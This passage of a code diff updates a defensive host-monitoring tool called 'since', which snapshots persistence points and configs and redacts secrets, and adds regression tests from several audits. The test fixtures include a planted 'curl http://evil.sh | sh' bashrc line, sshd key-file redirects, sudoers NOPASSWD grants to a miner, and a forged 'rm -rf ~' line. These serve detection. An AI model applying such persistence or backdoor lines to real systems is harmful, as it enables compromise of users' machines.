is_regular(m)] # a FIFO manifest would hang the read forever if mans: try: - n = json.loads(Path(mans[-1]).read_text("utf-8", "replace")).get("name", "") + n = json.loads(safe_read_text(mans[-1]) or "").get("name", "") if n and not n.startswith("__MSG_"): name = n except Exception: @@ -566,15 +810,24 @@ def _linux_outbound(): def _linux_net_config(): res = {} try: - for line in Path("/etc/resolv.conf").read_text("utf-8", "replace").splitlines(): + for line in (safe_read_text("/etc/resolv.conf") or "").splitlines(): m = re.match(r"\s*nameserver\s+(\S+)", line) if m: res[f"DNS {m.group(1)}"] = "nameserver" except Exception: pass - for var in ("http_proxy", "https_proxy", "all_proxy"): - if os.environ.get(var): - res[f"{var} (env)"] = "set" + # SYSTEM-level proxy config, NOT the process environment. Reading os.environ here + # reflected whoever ran `since` — a systemd-timer run (no proxy vars) vs an + # interactive shell (proxy exported) oscillated a false ORANGE "worth a look" + + # notify every day. /etc/environment and profile.d are stable regardless of caller. + for src in (Path("/etc/environment"), *[Path(p) for p in sorted(glob.glob("/etc/profile.d/*.sh"))]): + try: + for line in (safe_read_text(src) or "").splitlines(): + m = re.match(r"\s*(?:export\s+)?(https?_proxy|all_proxy)\s*=\s*(\S+)", line, re.I) + if m: + res[f"{m.group(1).lower()} ({src.name})"] = redact(m.group(2).strip('"\'')) + except Exception: + pass return res @@ -665,21 +918,31 @@ def add(label, content): Path("/etc/ld.so.preload")] # ld.so.preload = a classic rootkit hook for p in rc: try: - if p.is_file(): - add(tilde(str(p)), p.read_text("utf-8", "replace")) + text = safe_read_text(p) + if text is not None: + add(tilde(str(p)), text) except Exception: pass try: - add("/etc/hosts", Path("/etc/hosts").read_text("utf-8", "replace")) + add("/etc/hosts", safe_read_text("/etc/hosts") or "") except Exception: pass add("crontab (current user)", run(["crontab", "-l"])) - for f in ["/etc/crontab"] + sorted(glob.glob("/etc/cron.d/*")): + # /etc/sudoers.d/* is the standard drop-in for privilege grants; the cron.* dirs and + # the spool are where a real persistence entry would be planted — not just /etc/crontab. + cron_sudo = (["/etc/crontab"] + + sorted(glob.glob("/etc/cron.d/*")) + + sorted(glob.glob("/etc/cron.hourly/*")) + sorted(glob.glob("/etc/cron.daily/*")) + + sorted(glob.glob("/etc/cron.weekly/*")) + sorted(glob.glob("/etc/cron.monthly/*")) + + sorted(glob.glob("/var/spool/cron/crontabs/*")) + sorted(glob.glob("/var/spool/cron/*")) + + sorted(glob.glob("/etc/sudoers.d/*"))) + for f in cron_sudo: try: - if Path(f).is_file(): - add(f, Path(f).read_text("utf-8", "replace")) + text = safe_read_text(f) + if text is not None: + add(f, text) except Exception: pass return out @@ -710,10 +973,10 @@ def take_snapshot(all_cats=True) -> dict: "platform": PLATFORM, "created": datetime.now().isoformat(timespec="seconds"), "epoch": int(time.time()), - "euid": os.geteuid(), + "euid": EUID, "root": IS_ROOT, "host": (run(["scutil", "--get", "ComputerName"]).strip() - if PLATFORM == "macos" else os.uname().nodename), + if PLATFORM == "macos" else platform_module.node()), "collectors": {}, "blobs": {}, "errors": {}, @@ -741,9 +1004,12 @@ def _write_private(path: Path, text: str): momentarily (snapshots contain .npmrc tokens, .ssh contents, rc-file secrets), and a crash mid-write can't leave a truncated file at `path` (temp+rename).""" path.parent.mkdir(parents=True, exist_ok=True, mode=0o700) - tmp = path.parent / f".{path.name}.tmp.{os.getpid()}" - fd = os.open(tmp, os.O_WRONLY | os.O_CREAT | os.O_TRUNC | os.O_EXCL, 0o600) + # mkstemp gives a guaranteed-unique temp name, so a stale `.tmp.` left by a + # crashed run (or a reused PID) can no longer collide and raise FileExistsError. + fd, tmpname = tempfile.mkstemp(dir=str(path.parent), prefix=f".{path.name}.", suffix=".tmp") + tmp = Path(tmpname) try: + os.fchmod(fd, 0o600) # mkstemp is already 0600; be explicit with os.fdopen(fd, "w") as fh: fh.write(text) os.replace(tmp, path) # atomic on POSIX @@ -779,10 +1045,17 @@ def save_snapshot(snap: dict, label: str | None = None) -> Path: def load_labels() -> dict: + """{label -> snapshot filename}. Shape-validated for the same reason as safe_load(): + a valid-JSON-but-wrong-type labels.json (`["a","b"]` — an editor mishap, a bad restore) + otherwise crashed `since mark` with a raw TypeError inside save_snapshot, and + prune_snapshots with an AttributeError. Non-str entries are dropped, not fatal.""" try: - return json.loads(LABELS_FILE.read_text()) + d = json.loads(LABELS_FILE.read_text()) except Exception: return {} + if not isinstance(d, dict): + return {} + return {k: v for k, v in d.items() if isinstance(k, str) and isinstance(v, str)} def prune_snapshots(): @@ -845,7 +1118,13 @@ def parse_when(s: str) -> int: unit = _UNIT.get(m.group(2)) if unit: n = int(m.group(1)) if m.group(1) else 1 - return int((now - timedelta(seconds=n * unit)).timestamp()) + try: + return int((now - timedelta(seconds=n * unit)).timestamp()) + except (OverflowError, OSError, ValueError): + # an absurd window (`99999999d`) overflows datetime — semantically that's + # "further back than anything we have", so cut off at the epoch (oldest wins) + # instead of dumping an uncaught traceback. + return 0 raise ValueError(f"can't understand time '{s}' (try 1d, 12h, yesterday, monday, '3 hours ago')") @@ -920,8 +1199,11 @@ def find_big_new_files(since_epoch: int, min_mb: int = 25, top: int = 15): except Exception: pass files = [] + state = str(STATE_DIR) for path in out.split("\0"): - if not path or str(STATE_DIR) in path: + # path-PREFIX match, not substring: a plain `in` also excluded a sibling + # directory whose name merely starts with the state dir's (e.g. `since_backup`). + if not path or path == state or path.startswith(state + os.sep): continue try: files.append((os.path.getsize(path), tilde(path))) @@ -1002,7 +1284,12 @@ def undo_hint(category: str, key: str, value) -> str | None: if PLATFORM == "linux": if category == "login_items": # XDG autostart .desktop file - return f"rm {q(str(HOME / '.config/autostart') + '/' + key)} # (system copy in /etc/xdg/autostart needs sudo)" + # the key tells us WHICH dir it came from — a blanket ~/.config path was + # simply wrong (and a silent no-op) for a /etc/xdg/autostart entry. + if key.endswith(SYS_AUTOSTART_TAG): + base = key[:-len(SYS_AUTOSTART_TAG)] + return f"sudo rm {q('/etc/xdg/autostart/' + base)}" + return f"rm {q(str(HOME / '.config/autostart') + '/' + key)}" if category == "launch_items": if real.startswith("/etc/init.d/"): return f"sudo update-rc.d {q(os.path.basename(real))} disable" @@ -1046,8 +1333,9 @@ def undo_hint(category: str, key: str, value) -> str | None: # normal user; `crontab -l` returns root's vs the user's table. Skipped across a # privilege mismatch so they don't fabricate add/remove alarms. def _is_priv_blob(key: str) -> bool: - return ("/etc/sudoers" in key or key.startswith("crontab") - or "/etc/crontab" in key or "/etc/cron.d" in key) + return ("/etc/sudoers" in key or key.startswith("crontab") # sudoers + sudoers.d/* + or "/etc/cron" in key or "/var/spool/cron" in key # crontab, cron.d, cron.daily…, spool + or "/etc/ld.so.preload" in key) def build_findings(baseline: dict, current: dict, include_quiet=False, skip_cats=(), @@ -1131,7 +1419,8 @@ def _enrich(f: dict, current: dict): if cat == "launch_items": prog = program_of_plist(key) elif cat == "applications": - prog = f"{f['value']}/{key}.app" + # bare_key: the ' (~/Applications)' disambiguator is not part of the path + prog = f"{f['value']}/{bare_key(key)}.app" if prog: label, suspicious = trust_of(prog) f["trust"] = label @@ -1139,7 +1428,9 @@ def _enrich(f: dict, current: dict): f["level"] = RED # attribution for software installs if cat in ("brew", "npm_global", "pip", "applications", "mac_app_store") and action == "added": - f["why"] = attribution_for(key) + # bare_key: a tagged key (`foo (cask)`, `foo (snap)`) can never whole-word-match + # a history line, so casks/snaps/flatpaks silently got no "why" at all. + f["why"] = attribution_for(bare_key(key)) # undo hints for anything reversible we added if action == "added": f["undo"] = undo_hint(cat, key, f["value"]) @@ -1366,13 +1657,23 @@ def cmd_ignore(args): for cat, pat in rules: print(f" {cat}: {pat}") return - STATE_DIR.mkdir(parents=True, exist_ok=True) + # Private state dir/file even when `ignore` is the very first command run (before + # any snapshot). mkdir(exist_ok) won't tighten a pre-existing 0755 dir, so chmod too. + STATE_DIR.mkdir(parents=True, exist_ok=True, mode=0o700) + try: + STATE_DIR.chmod(0o700) + except Exception: + pass with open(IGNORE_FILE, "a") as fh: fh.write(args.pattern.strip() + "\n") + try: + os.chmod(IGNORE_FILE, 0o600) + except Exception: + pass print(f"Ignoring: {args.pattern}") def cmd_caps(args): - who = run(["whoami"]).strip() or str(os.geteuid()) + who = run(["whoami"]).strip() or str(EUID) print(paint("since — coverage & privileges", "bold")) print(f"Running as: {who} " + (paint("(root — full coverage)", "green") if IS_ROOT else paint("(not root)", "yellow"))) @@ -1480,6 +1781,10 @@ def cmd_diff(args, notify_on=False): notes.append(big_note) if args.json: + # The baseline/corrupt-snapshot note (e.g. "N unreadable snapshot(s) skipped", + # "using the oldest available") is shown to humans — surface it in --json too so + # automation isn't silently comparing against an unexpected baseline. + json_notes = ([note] if note and not note.startswith("error:") else []) + notes # redact secrets in the diff lines AND the why field so automation / logs # consuming --json don't receive tokens in cleartext json_findings = [] @@ -1492,7 +1797,7 @@ def cmd_diff(args, notify_on=False): json_findings.append(g) print(json.dumps({ "baseline": baseline["created"], "now": current["created"], - "as_root": IS_ROOT, "notes": notes, + "as_root": IS_ROOT, "notes": json_notes, "max_level": LEVEL_NAME[max_level(findings)], "findings": json_findings, "big_new_files": [{"size": s, "path": p} for s, p in big], diff --git a/tests/test_since.py b/tests/test_since.py index 2dfc01e..1e9dcce 100644 --- a/tests/test_since.py +++ b/tests/test_since.py @@ -5,8 +5,11 @@ Run: python3 -m pytest (or just: pytest) """ +import contextlib import json +import os import shlex +import signal import time import pytest @@ -193,9 +196,17 @@ def test_clean_strips_newline_and_bidi(): # a newline in a name would inject a forged extra output line (H1 reopened) assert "\n" not in since.clean("legit\n signature: Apple-signed") assert "\r" not in since.clean("a\rb") - assert "\t" not in since.clean("a\tb") + assert "\x1b" not in since.clean("a\x1b[31mb") # ESC still stripped + # TAB is deliberately KEPT (v2 audit #11): it cannot forge a line, and stripping it + # mangled tab-indented config diffs. Newline/CR/ESC (which CAN forge) stay stripped. + assert since.clean("a\tb") == "a\tb" assert since.clean("x‮y") == "x�y" # bidi override assert since.clean("x​y") == "x�y" # zero-width space + assert since.clean("a" + chr(0x2028) + "b") == "a�b" # U+2028 line separator (finding 6) + assert since.clean("a" + chr(0x2029) + "b") == "a�b" # U+2029 paragraph separator + # lone UTF-16 surrogate (non-UTF-8 Linux filename via surrogateescape) — must be + # neutralized, not raise UnicodeEncodeError when the report is printed (v2 audit #7) + assert since.clean("a\udc80b") == "a�b" assert since.clean("normal name") == "normal name" @@ -277,3 +288,519 @@ def test_findings_sorted_most_severe_first(monkeypatch): findings = since.build_findings(b, c) levels = [f["level"] for f in findings] assert levels == sorted(levels, reverse=True) + + +# =========================================================================== # +# Second independent (Kimi) audit — regression tests for each fixed finding. # +# =========================================================================== # + +# #2 — over-redaction must NOT conceal the sshd/sudoers attacks the tool exists to +# surface. Keyword-in-KEY is not enough; the VALUE (a path, a keyword, a short flag) +# must still be shown so a malicious change is visible. +@pytest.mark.parametrize("line", [ + "AuthorizedKeysFile /tmp/evil/keys", # attacker redirects trusted keys — must SHOW the path + "PasswordAuthentication no", + "PermitRootLogin yes", + " NOPASSWD: /bin/bash", + "%admin ALL=(ALL) NOPASSWD: ALL", + "# basic networking setup", # #6 benign prose under _SCHEME_RE + "# no secret here", # sensitive word in KEY, short prose value + "AuthorizedKeysCommandUser nobody", # directive-name substring + plain-word value + "AuthorizedKeysCommandUser root", + "password required pam_unix.so", # pam directive: credential word + keyword value + # 3rd-pass independent audit (finding 2): the DEFAULT sshd form uses a RELATIVE path — + # an absolute-only directive test let this stay hidden. + "AuthorizedKeysFile .ssh/authorized_keys", + "AuthorizedKeysFile %h/.ssh/authorized_keys", + "AuthorizedKeysCommandUser sshd-keygen", +]) +def test_redact_does_not_hide_directives(line): + assert since.redact(line) == line, "value redacted away — this is exactly what #2 warned about" + + +# A malicious edit to an AuthorizedKeys* directive must produce a VISIBLE diff, incl. the +# relative-path default form (finding 2: both old and new were redacting to the same string). +def test_redact_authorizedkeys_change_is_visible(): + assert (since.redact("AuthorizedKeysFile .ssh/authorized_keys") + != since.redact("AuthorizedKeysFile .ssh/evilkeys")) + + +# #2/#10 — real credentials are masked: single-class tokens, SSHPASS, short values, AND +# (3rd-pass finding 1) values that begin with '/', '~', or '$' — base64 tokens contain '/', +# crypt/shadow hashes begin with '$', so a "looks like a path" bypass would leak them. +@pytest.mark.parametrize("line,secret", [ + ("password=hunter2longtoken", "hunter2longtoken"), + ("SSHPASS=Sup3rSecret1", "Sup3rSecret1"), + ("//r/:_authToken=SECRETVALUE", "SECRETVALUE"), # single-class (all upper) — entropy test would leak this + ("client_secret: aGVsbG8gd29ybGQxMg==", "aGVsbG8gd29ybGQxMg=="), + ("passcode=1234", "1234"), # short secret via assignment — must NOT leak + ("password=abc", "abc"), + ("SSHPASS=$ecretPassw0rd", "ecretPassw0rd"), # value begins with '$' + ("//registry.npmjs.org/:_authToken=/AbCdEf123456xyz", "AbCdEf123456xyz"), # begins with '/' + ("client_secret=/wJalrXUtnFEMIK7MDENGbPxRfiCY", "wJalrXUtnFEMIK7MDENGbPxRfiCY"), + ("password=$6$rounds=5000$abcdefLONGhash", "abcdefLONGhash"), # /etc/shadow crypt hash + ("_auth=dXNlcjpwYXNz", "dXNlcjpwYXNz"), # npm base64 basic-auth field +]) +def test_redact_still_masks_real_secrets(line, secret): + assert secret not in since.redact(line) + + +# =========================================================================== # +# Third full-tool independent audit — regression tests for each fixed finding. # +# =========================================================================== # + +# Finding 1 — curl/netrc `user:pass` credentials (`~/.curlrc` is a TRACKED file) must be +# masked; _URLAUTH_RE misses them because they aren't a `://…@` URL. +@pytest.mark.parametrize("line,secret", [ + ('user = "alice:S3cr3tCurlPass"', "S3cr3tCurlPass"), + ("-u bob:hunter2", "hunter2"), + ("--proxy-user pu:ppw", "ppw"), + ("curl -u carol:pw123 https://api.example.com", "pw123"), + # diff lines carry a +/- marker in the real pipeline — the anchor must survive it + # (an integration run caught this leaking where the bare-line unit test did not). + ('+user = "victim:SuperSecretCurlPw123"', "SuperSecretCurlPw123"), + ('-user = "victim:SuperSecretCurlPw123"', "SuperSecretCurlPw123"), +]) +def test_redact_masks_curl_userpass(line, secret): + assert secret not in since.redact(line) + + +# End-to-end: one realistic compromised diff through the REAL build_findings+render +# pipeline must (a) escalate malware persistence, (b) keep an sshd redirect VISIBLE, +# (c) REDACT a planted secret in rendered output, (d) neutralize a line-forging name. +# This integration test caught a curlrc leak the isolated redact() unit tests missed. +def test_end_to_end_adversarial_diff(monkeypatch): + monkeypatch.setattr(since, "trust_of", lambda p: (None, False)) + b = snap(blobs={"~/.bashrc": "export PATH=$HOME/bin\n", + "/etc/ssh/sshd_config": "AuthorizedKeysFile .ssh/authorized_keys\n", + "~/.curlrc": "silent\n"}) + c = snap(collectors={"login_items": {"Evil\n signature: Apple-signed\n undo: rm -rf ~": "x"}}, + blobs={"~/.bashrc": "export PATH=$HOME/bin\ncurl http://evil.sh | sh\n", + "/etc/ssh/sshd_config": "AuthorizedKeysFile /tmp/attacker/keys\n", + "~/.curlrc": 'silent\nuser = "victim:SuperSecretCurlPw123"\n'}) + findings = since.build_findings(b, c) + out = since.render(findings, b, c, [], []) + lines = out.splitlines() + assert any(f["level"] == since.RED and "bashrc" in f["key"] for f in findings) # malware -> RED + assert "/tmp/attacker/keys" in out # sshd redirect visible + assert "SuperSecretCurlPw123" not in out # secret redacted + assert not any(l.strip() == "signature: Apple-signed" for l in lines) # no forged line + assert not any(l.strip() == "undo: rm -rf ~" for l in lines) + + +def test_redact_curl_userpass_no_false_positive(): + # no colon → no password embedded → leave it alone + assert since.redact("user = alice") == "user = alice" + assert since.redact("# the user configuration: enabled") == "# the user configuration: enabled" + + +# Finding 2 — a systemd ExecStart swap on an already-enabled unit must change the +# fingerprint (parity with the macOS plist content hash). Proven with a mocked +# `systemctl show` (no real systemd needed). +def test_linux_service_execstart_swap_detected(monkeypatch): + def fake_run(cmd, **kw): + if "list-unit-files" in cmd: + return "evil.service enabled\n" + if "show" in cmd: + return f"Id=evil.service\nExecStart={fake_run.exec}\n" + return "" + fake_run.exec = "{ path=/usr/bin/true ; argv[]=/usr/bin/true }" + monkeypatch.setattr(since, "run", fake_run) + before = since._linux_services()["evil.service"] + fake_run.exec = "{ path=/tmp/miner ; argv[]=/tmp/miner }" # same unit, enabled, swapped Exec + after = since._linux_services()["evil.service"] + assert before != after, "ExecStart swap invisible — finding 2 not fixed" + + +# Finding 3 — sudoers.d and the cron.* dirs / spool are privilege-sensitive blobs. +@pytest.mark.parametrize("key", [ + "/etc/sudoers.d/mygrant", "/etc/cron.daily/evil", "/etc/cron.hourly/x", + "/var/spool/cron/crontabs/root", "/etc/crontab", "/etc/ld.so.preload", +]) +def test_priv_blob_covers_sudoers_and_cron_family(key): + assert since._is_priv_blob(key) + + +# Finding 4 — an absurd `--since` window must not dump an uncaught OverflowError traceback. +def test_parse_when_absurd_window_no_crash(): + assert since.parse_when("9" * 400 + "d") == 0 # graceful: cut off at epoch (oldest wins) + assert since.parse_when("1d") > 0 # normal path intact + + +# #3 — PEM / raw-key body must be masked on the REMOVED (`-`) diff line too, not only `+`. +def test_redact_pem_body_parity_on_minus_line(): + body = "A" * 60 + assert "A" * 60 not in since.redact("-" + body) + assert "A" * 60 not in since.redact("+" + body) + assert since.redact("-" + body).startswith("-") # marker preserved + + +# #1 — redact() must not go quadratic on an attacker-plantable long rc-file line. +def test_redact_not_quadratic(): + line = "secret=" + "A" * 40000 + "." + t = time.time() + since.redact(line) + assert time.time() - t < 1.0, "redact() is super-linear — a crafted line can stall the daily digest" + + +# #7 — a lone UTF-16 surrogate (non-UTF-8 Linux filename) must not crash rendering. +def test_clean_surrogate_is_printable(): + out = since.clean("evil\udc80.desktop") + out.encode("utf-8") # would raise UnicodeEncodeError before the fix + + +# #4 — Linux autostart fingerprint folds in a CONTENT hash, so a swapped Exec= (Name= +# unchanged) is detected as a change instead of being invisible. +def test_linux_autostart_detects_exec_swap(monkeypatch, tmp_path): + monkeypatch.setattr(since, "HOME", tmp_path) + ad = tmp_path / ".config/autostart" + ad.mkdir(parents=True) + entry = ad / "x.desktop" + entry.write_text("[Desktop Entry]\nName=Updater\nExec=/usr/bin/true\n") + before = since._linux_autostart() + entry.write_text("[Desktop Entry]\nName=Updater\nExec=/tmp/miner\n") # same Name=, evil Exec + after = since._linux_autostart() + assert before["x.desktop"] != after["x.desktop"], "Exec swap invisible — #4 not fixed" + + +# L-f — tilde() collapses only a LEADING $HOME, not every occurrence. +def test_tilde_collapses_only_leading_home(monkeypatch, tmp_path): + monkeypatch.setattr(since, "HOME", tmp_path) + h = str(tmp_path) + assert since.tilde(h + "/data" + h + "/file") == "~/data" + h + "/file" + assert since.tilde(h) == "~" + + +# #9 — ld.so.preload (a classic rootkit hook, may be root-only-readable) is treated as a +# privilege-sensitive blob so a root/non-root mismatch can't fabricate an add/remove alarm. +def test_ld_so_preload_is_priv_blob(): + assert since._is_priv_blob("/etc/ld.so.preload") + + +# L-m — _write_private survives a stale temp left by a crashed run (no O_EXCL crash). +def test_write_private_survives_stale_temp(tmp_path): + target = tmp_path / "snap.json" + (tmp_path / f".{target.name}.stale.tmp").write_text("junk") # pre-existing temp + since._write_private(target, "hello") + assert target.read_text() == "hello" + assert oct(target.stat().st_mode)[-3:] == "600" + + +# =========================================================================== # +# Third independent (Kimi) audit v3 — a regression test per fixed finding. # +# =========================================================================== # + +class _Hang(BaseException): + """BaseException on purpose: the collectors wrap their reads in `except Exception`, + which would SWALLOW a plain TimeoutError and make a hang look like a pass.""" + + +@contextlib.contextmanager +def deadline(seconds=5.0): + """Fail (don't wedge the suite) if the body blocks — the only honest way to test a + hang: a blocking FIFO read cannot be detected by inspecting a return value.""" + def _boom(signum, frame): + raise _Hang(f"blocked >{seconds}s — the read is not guarded") + old = signal.signal(signal.SIGALRM, _boom) + signal.setitimer(signal.ITIMER_REAL, seconds) + try: + yield + finally: + signal.setitimer(signal.ITIMER_REAL, 0) + signal.signal(signal.SIGALRM, old) + + +# v3 #1 (High) — a planted FIFO / device symlink in a monitored dir must not hang the +# collector. Unguarded, each of these blocks forever inside take_snapshot(), so the daily +# `digest --notify` never prints, never saves, never notifies: a silently dead watchdog. +def test_is_regular_rejects_fifo_and_device(tmp_path): + fifo = tmp_path / "f" + os.mkfifo(fifo) + dev = tmp_path / "z" + os.symlink("/dev/zero", dev) + real = tmp_path / "r" + real.write_text("x") + link = tmp_path / "l" + os.symlink(real, link) # symlink TO a regular file is still fine + assert since.is_regular(real) and since.is_regular(link) + assert not since.is_regular(fifo) and not since.is_regular(dev) + assert not since.is_regular(tmp_path) # a directory is not a readable file either + assert not since.is_regular(tmp_path / "missing") + + +def test_launch_items_survive_fifo_and_report_it(monkeypatch, tmp_path): + monkeypatch.setattr(since, "HOME", tmp_path) + d = tmp_path / "Library/LaunchAgents" + d.mkdir(parents=True) + os.mkfifo(d / "evil.plist") + os.symlink("/dev/zero", d / "zero.plist") + with deadline(): + out = since._mac_launch_items() + # reported, not silently dropped: a FIFO in LaunchAgents is itself anomalous + assert "not a regular file" in out["~/Library/LaunchAgents/evil.plist"] + assert "not a regular file" in out["~/Library/LaunchAgents/zero.plist"] + + +def test_linux_autostart_survives_fifo_and_reports_it(monkeypatch, tmp_path): + monkeypatch.setattr(since, "HOME", tmp_path) + monkeypatch.setattr(since, "SYS_AUTOSTART_DIR", tmp_path / "nonexistent") + d = tmp_path / ".config/autostart" + d.mkdir(parents=True) + os.mkfifo(d / "evil.desktop") + with deadline(): + out = since._linux_autostart() + assert "not a regular file" in out["evil.desktop"] + + +@pytest.mark.parametrize("collector,ext_path", [ + ("_mac_browser_extensions", + "Library/Application Support/Google/Chrome/Default/Extensions/abcd/1.0"), + ("_linux_browser_extensions", + ".config/google-chrome/Default/Extensions/abcd/1.0"), +]) +def test_browser_extensions_survive_fifo_manifest(monkeypatch, tmp_path, collector, ext_path): + monkeypatch.setattr(since, "HOME", tmp_path) + d = tmp_path / ext_path + d.mkdir(parents=True) + os.mkfifo(d / "manifest.json") + with deadline(): + out = getattr(since, collector)() + # the extension is still inventoried (by id) — only the unreadable manifest is skipped + assert any(k.endswith(":abcd") for k in out), out + + +def test_linux_browser_extensions_skip_temp_dir(monkeypatch, tmp_path): + monkeypatch.setattr(since, "HOME", tmp_path) + (tmp_path / ".config/google-chrome/Default/Extensions/Temp").mkdir(parents=True) + assert not any(k.endswith(":Temp") for k in since._linux_browser_extensions()) + + +# v3 #2 (Medium) — `Authorization: ` IS the credential and must be masked; the +# `Authorized*` sshd directives must stay visible (they differ from index 8 on). +@pytest.mark.parametrize("line", [ + '+header = "Authorization: c2VjcmV0dG9rZW4xMjM0"', + '+Authorization: Token c2VjcmV0dG9rZW4xMjM0', + '+Authorization: c2VjcmV0dG9rZW4xMjM0', +]) +def test_authorization_header_is_redacted(line): + assert "c2VjcmV0dG9rZW4xMjM0" not in since.redact(line) + + +@pytest.mark.parametrize("line", [ + "+AuthorizedKeysFile /tmp/evil/keys", + "+AuthorizedKeysFile .ssh/authorized_keys", + "+AuthorizedKeysCommandUser nobody", + "+proxy_set_header Authorization $http_authorization;", +]) +def test_authorized_directives_still_visible(line): + assert since.redact(line) == line + + +# v3 #3 (Medium) — redact() is bounded ABSOLUTELY: a keyword-free long line short-circuits +# on the linear pre-filter, and any line is capped at _REDACT_MAX before the regexes run. +# `--json` redacts every diff line, so an unbounded per-line cost stalls the whole digest. +def test_redact_is_bounded_on_huge_lines(): + for line in ("+user " + "a" * 400_000, "+password=" + "a" * 400_000): + t = time.time() + out = since.redact(line) + assert time.time() - t < 0.5, "redact() cost is not bounded" + assert len(out) < since._REDACT_MAX + 200 + assert "truncated" in since.redact("+user " + "a" * 400_000) + assert "«redacted»" in since.redact("+password=" + "a" * 400_000) + + +def test_redact_prefilter_matches_the_matcher(): + # The soundness invariant of the short-circuit: anything _KV_RE can match, the cheap + # pre-filter must also match — otherwise that key silently stops being redacted. + # (`authoriz` is deliberately SOFT: it gates the shown `Authorized*` directives.) + for kw in ("secret", "passwd", "password", "passphrase", "token", "api_key", + "access-key", "client_secret", "private_key", "authoriz", "_auth", + "credential", "authorization"): + line = f"+x{kw}y=SoMeV4lue" + assert since._KV_RE.search(line), kw # the matcher fires + assert since._KV_KW_RE.search(line), kw # …so the pre-filter must too + if kw != "authoriz": # every HARD keyword still redacts + assert "«redacted»" in since.redact(line), kw + + +# v3 #4 (Low) — a sudoers `PASSWD:` TAG prefixes a command list; redacting it hid the +# attack. The carve-out is value-shape gated, so a real `PASSWD=` still redacts. +@pytest.mark.parametrize("line", [ + "+eviluser ALL=(ALL) PASSWD: /tmp/miner", + "+eviluser ALL=(ALL) PASSWD: ALL", + "+eviluser ALL=(ALL) NOPASSWD: /tmp/miner", +]) +def test_sudoers_passwd_tag_shows_command_list(line): + assert since.redact(line) == line + + +@pytest.mark.parametrize("line", ["+PASSWD=hunter2Mixed", "+PASSWD: hunter2Mixed", + "+passwd: hunter2Mixed"]) +def test_passwd_assignment_still_redacted(line): + assert "hunter2Mixed" not in since.redact(line) + + +# v3 #5 (Low) — the two XDG autostart dirs hold same-named files; a bare basename key let +# the system copy overwrite (hide) a planted user entry, and the undo hint pointed `rm` at +# the wrong directory for system entries. +def test_autostart_user_and_system_entries_do_not_collide(monkeypatch, tmp_path): + monkeypatch.setattr(since, "HOME", tmp_path) + sysdir = tmp_path / "xdg" + sysdir.mkdir() + monkeypatch.setattr(since, "SYS_AUTOSTART_DIR", sysdir) + user = tmp_path / ".config/autostart" + user.mkdir(parents=True) + (user / "x.desktop").write_text("[Desktop Entry]\nName=Evil\nExec=/tmp/miner\n") + (sysdir / "x.desktop").write_text("[Desktop Entry]\nName=Benign\nExec=/usr/bin/true\n") + out = since._linux_autostart() + assert "x.desktop" in out and "x.desktop (system)" in out + assert "Evil" in out["x.desktop"] and "Benign" in out["x.desktop (system)"] + + +def test_autostart_undo_hint_targets_the_right_dir(monkeypatch, tmp_path): + monkeypatch.setattr(since, "PLATFORM", "linux") + monkeypatch.setattr(since, "HOME", tmp_path) + assert since.undo_hint("login_items", "x.desktop", None) == \ + f"rm {shlex.quote(str(tmp_path / '.config/autostart/x.desktop'))}" + assert since.undo_hint("login_items", "x.desktop (system)", None) == \ + "sudo rm /etc/xdg/autostart/x.desktop" + + +# v3 #6 (Low) — the ' (~/Applications)' disambiguator is not part of the app's PATH; with +# it, trust_of() got a path that never exists, so an unsigned app there never hit RED. +def test_user_applications_app_is_trust_checked(monkeypatch): + seen = [] + monkeypatch.setattr(since, "trust_of", lambda p: (seen.append(p) or ("unsigned", True))) + f = {"category": "applications", "action": "added", "key": "Evil (~/Applications)", + "value": "/Users/x/Applications", "level": since.GREEN, "label": "app"} + since._enrich(f, {}) + assert seen == ["/Users/x/Applications/Evil.app"] + assert f["level"] == since.RED, "unsigned app in ~/Applications must escalate" + + +def test_bare_key_strips_only_our_own_tags(): + assert since.bare_key("Evil (~/Applications)") == "Evil" + assert since.bare_key("code (snap)") == "code" + assert since.bare_key("rectangle (cask)") == "rectangle" + assert since.bare_key("x.desktop (system)") == "x.desktop" + assert since.bare_key("Final Cut Pro (2024)") == "Final Cut Pro (2024)" # not ours + assert since.bare_key("plain") == "plain" + + +# v3 #9 (Low) — a tagged key can never whole-word-match a history line, so casks/snaps +# silently got no "why" attribution at all. +def test_cask_attribution_uses_bare_key(monkeypatch): + monkeypatch.setattr(since, "_HISTORY", ["brew install --cask rectangle"]) + f = {"category": "brew", "action": "added", "key": "rectangle (cask)", + "value": "0.7", "level": since.GREEN, "label": "brew package"} + since._enrich(f, {}) + assert f["why"] == "brew install --cask rectangle" + + +# v3 #7 (Low) — labels.json that is valid JSON of the WRONG type crashed `since mark` +# (TypeError) and prune_snapshots (AttributeError). Same shape-validation as safe_load. +@pytest.mark.parametrize("junk", ['["a","b"]', '"str"', '42', 'null', + '{"ok": "f.json", "bad": 5, "7": {"x": 1}}']) +def test_corrupt_labels_file_does_not_crash(monkeypatch, tmp_path, junk): + monkeypatch.setattr(since, "STATE_DIR", tmp_path) + monkeypatch.setattr(since, "SNAP_DIR", tmp_path / "snapshots") + monkeypatch.setattr(since, "LABELS_FILE", tmp_path / "labels.json") + (tmp_path / "labels.json").write_text(junk) + labels = since.load_labels() + assert isinstance(labels, dict) + assert all(isinstance(k, str) and isinstance(v, str) for k, v in labels.items()) + since.save_snapshot(snap(), label="x") # TypeError before the fix + since.prune_snapshots() # AttributeError before the fix + assert since.load_labels()["x"].endswith(".json") + + +# v3 #8 (Low) — os.geteuid() is Unix-only; called at import it crashed win32 before the +# honest "UNSUPPORTED PLATFORM" notice could print. (The win32 path itself is untestable here.) +def test_euid_is_indirected(): + assert since.EUID == os.geteuid() + assert since.IS_ROOT == (os.geteuid() == 0) + assert "uname" not in since.take_snapshot.__code__.co_names # no Unix-only host call + + +# v3 #9 (Low) — the state dir was excluded by SUBSTRING, which also excluded a sibling +# directory whose name merely starts with it (e.g. `…/since_backup`). +def test_big_file_scan_excludes_state_dir_not_siblings(monkeypatch, tmp_path): + state = tmp_path / "since" + state.mkdir() + monkeypatch.setattr(since, "HOME", tmp_path) + monkeypatch.setattr(since, "STATE_DIR", state) + sib = tmp_path / "since_backup" + sib.mkdir() + (sib / "big.bin").write_bytes(b"\0" * (26 * 1024 * 1024)) + (state / "inside.bin").write_bytes(b"\0" * (26 * 1024 * 1024)) + files, _growing, _note = since.find_big_new_files(int(time.time()) - 600, min_mb=25) + paths = [p for _, p in files] + assert any("since_backup/big.bin" in p for p in paths), paths + assert not any("inside.bin" in p for p in paths), paths + + +# v3 #1 (extension found while attacking the fix — NOT in the audit) — is_regular() bounds +# a path's TYPE but not its SIZE, and is racy on its own. A 2GB *sparse* plist costs an +# attacker nothing to plant and measured 